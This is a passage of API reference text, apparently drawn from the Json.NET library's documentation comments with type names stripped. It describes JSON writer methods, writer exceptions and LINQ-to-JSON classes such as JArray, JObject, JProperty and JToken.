synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously ets the state of the . The being written. The value being written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Gets or sets a value indicating whether the destination should be closed when this writer is closed. true to close the destination when this writer is closed; otherwise false. The default is true. Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. Gets the top. The top. Gets the state of the writer. Gets the path of the writer. Gets or sets a value indicating how JSON text output should be formatted. Gets or sets how dates are written to JSON text. Gets or sets how time zones are handled when writing JSON text. Gets or sets how strings are escaped when writing JSON text. Gets or sets how special floating point numbers, e.g. , and , are written to JSON text. Gets or sets how and values are formatted when writing JSON text. Gets or sets the culture used when writing JSON. Defaults to . Initializes a new instance of the class. Flushes whatever is in the buffer to the destination and also flushes the destination. Closes this writer. If is set to true, the destination is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the end of a JSON object. Writes the beginning of a JSON array. Writes the end of an array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end constructor. Writes the property name of a name/value pair of a JSON object. The name of the property. Writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes the end of the current JSON object or array. Writes the current token and its children. The to read the token from. Writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. Writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . Writes the token. The to write. Writes the specified end token. The end token to write. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a null value. Writes an undefined value. Writes raw JSON without changing the writer's state. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Sets the state of the . The being written. The value being written. The exception thrown when an error occurs while writing JSON text. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Specifies how JSON comments are handled when loading JSON. Ignore comments. Load comments as a with type . Specifies how duplicate property names are handled when loading JSON. Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. Throw a when a duplicate property is encountered. Contains the LINQ to JSON extension methods. Returns a collection of tokens that contains the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the ancestors of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, the ancestors of every token in the source collection. Returns a collection of tokens that contains the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the descendants of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, and the descendants of every token in the source collection. Returns a collection of child properties of every object in the source collection. An of that contains the source collection. An of that contains the properties of every object in the source collection. Returns a collection of child values of every object in the source collection with the given key. An of that contains the source collection. The token key. An of that contains the values of every token in the source collection with the given key. Returns a collection of child values of every object in the source collection. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child values of every object in the source collection with the given key. The type to convert the values to. An of that contains the source collection. The token key. An that contains the converted values of every token in the source collection with the given key. Returns a collection of converted child values of every object in the source collection. The type to convert the values to. An of that contains the source collection. An that contains the converted values of every token in the source collection. Converts the value. The type to convert the value to. A cast as a of . A converted value. Converts the value. The source collection type. The type to convert the value to. A cast as a of . A converted value. Returns a collection of child tokens of every array in the source collection. The source collection type. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child tokens of every array in the source collection. An of that contains the source collection. The type to convert the values to. The source collection type. An that contains the converted values of every token in the source collection. Returns the input typed as . An of that contains the source collection. The input typed as . Returns the input typed as . The source collection type. An of that contains the source collection. The input typed as . Represents a collection of objects. The type of token. Gets the of with the specified key. Represents a JSON array. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the array. Initializes a new instance of the class with the specified content. The contents of the array. Loads an from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads an from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Gets or sets the at the specified index. Determines the index of a specific item in the . The object to locate in the . The index of if found in the list; otherwise, -1. Inserts an item to the at the specified index. The zero-based index at which should be inserted. The object to insert into the . is not a valid index in the . Removes the item at the specified index. The zero-based index of the item to remove. is not a valid index in the . Returns an enumerator that iterates through the collection. A of that can be used to iterate through the collection. Adds an item to the . The object to add to the . Removes all items from the . Determines whether the contains a specific value. The object to locate in the . true if is found in the ; otherwise, false. Copies the elements of the to an array, starting at a particular array index. The array. Index of the array. Gets a value indicating whether the is read-only. true if the is read-only; otherwise, false. Removes the first occurrence of a specific object from the . The object to remove from the . true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . Represents a JSON constructor. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets or sets the name of this constructor. The constructor name. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name. The constructor name. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a token that can contain other tokens. Occurs when the items list of the collection has changed, or the collection is reset. Gets the container's children tokens. The container's children tokens. Raises the event. The instance containing the event data. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Returns a collection of the descendant tokens for this token in document order. An of containing the descendant tokens of the . Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. An of containing this token, and all the descendant tokens of the . Adds the specified content as children of this . The content to be added. Adds the specified content as the first children of this . The content to be added. Creates a that can be used to add tokens to the . A that is ready to have content written to it. Replaces the child nodes of this token with the specified content. The content. Removes the child nodes from this token. Merge the specified content into this . The content to be merged. Merge the specified content into this using . The content to be merged. The used to merge the content. Gets the count of child JSON tokens. The count of child JSON tokens. Represents a collection of objects. The type of token. An empty collection of objects. Initializes a new instance of the struct. The enumerable. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Gets the of with the specified key. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Returns a hash code for this instance. A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. Represents a JSON object. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Occurs when a property value changes. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the object. Initializes a new instance of the class with the specified content. The contents of the object. Gets the node type for this . The type. Gets an of of this object's properties. An of of this object's properties. Gets a with the specified name. The property name. A with the specified name or null. Gets the with the specified name. The exact name will be searched for first and if no matching property is found then the will be used to match a property. The property name. One of the enumeration values that specifies how the strings will be compared. A matched with the specified name or null. Gets a of of this object's property values. A of of this object's property values. Gets the with the specified key. The with the specified key. Gets or sets the with the specified property name. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . is not valid JSON. Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . is not valid JSON. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. is not valid JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. is not valid JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified property name. Name of the property. The with the specified property name. Gets the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. One of the enumeration values that specifies how the strings will be compared. The with the specified property name. Tries to get the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. The value. One of the enumeration values that specifies how the strings will be compared. true if a value was successfully retrieved; otherwise, false. Adds the specified property name. Name of the property. The value. Determines whether the JSON object has the specified property name. Name of the property. true if the JSON object has the specified property name; otherwise, false. Removes the property with the specified name. Name of the property. true if item was successfully removed; otherwise, false. Tries to get the with the specified property name. Name of the property. The value. true if a value was successfully retrieved; otherwise, false. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Raises the event with the provided arguments. Name of the property. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Represents a JSON property. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the property name. The property name. Gets or sets the property value. The property value. Initializes a new instance of the class from another object. A object to copy from. Gets the node type for this . The type. Initializes a new instance of the class. The property name. The property content. Initializes a new instance of the class. The property name. The property content. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a raw JSON string. Asynchronously creates an instance of with the content of the reader's current token. The reader. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns an instance of with the content of the reader's current token. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class. The raw json. Creates an instance of with the content of the reader's current token. The reader. An instance of with the content of the reader's current token. Specifies the settings used when loading JSON. Initializes a new instance of the class. Gets or sets how JSON comments are handled when loading JSON. The default value is . The JSON comment handling. Gets or sets how JSON line info is handled when loading JSON. The default value is . The JSON line info handling. Gets or sets how duplicate property names in JSON objects are handled when loading JSON. The default value is . The JSON duplicate property name handling. Specifies the settings used when merging JSON. Initializes a new instance of the class. Gets or sets the method used when merging JSON arrays. The method used when merging JSON arrays. Gets or sets how null value properties are merged. How null value properties are merged. Gets or sets the comparison used to match property names while merging. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. The comparison used to match property names while merging. Specifies the settings used when selecting JSON. Gets or sets a timeout that will be used when executing regular expressions. The timeout that will be used when executing regular expressions. Gets or sets a flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. A flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. Represents an abstract JSON token. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Writes this token to a asynchronously. A into which this method will write. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously creates a from a . An positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Gets a comparer that can compare two tokens for value equality. A that can compare two nodes for value equality. Gets or sets the parent. The parent. Gets the root of this . The root of this . Gets the node type for this . The type. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Compares the values of two tokens, including the values of all descendant tokens. The first to compare. The second to compare. true if the tokens are equal; otherwise false. Gets the next sibling token of this node. The that contains the next sibling token. Gets the previous sibling token of this node. The that contains the previous sibling token. Gets the path of the JSON token. Adds the specified content immediately after this token. A content object that contains simple content or a collection of content objects to be added after this token. Adds the specified content immediately before this token. A content object that contains simple content or a collection of content objects to be added before this token. Returns a collection of the ancestor tokens of this token. A collection of the ancestor tokens of this token. Returns a collection of tokens that contain this token, and the ancestors of this token. A collection of tokens that contain this token, and the ancestors of this token. Returns a collection of the sibling tokens after this token, in document order. A collection of the sibling tokens after this tokens, in document order. Returns a collection of the sibling tokens before this token, in document order. A collection of the sibling tokens before this token, in document order. Gets the with the specified key. The with the specified key. Gets the with the specified key converted to the specified type. The type to convert the token to. The token key. The converted token value. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child tokens of this token, in document order, filtered by the specified type. The type to filter the child tokens on. A containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Removes this token from its parent. Replaces this token with the specified token. The value. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Returns the indented JSON for this token. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . The indented JSON for this token. Returns the JSON for this token using the given formatting and converters. Indicates how the output should be formatted. A collection of s which will be used when writing the token. The JSON for this token using the given formatting and converters. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to []. The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified 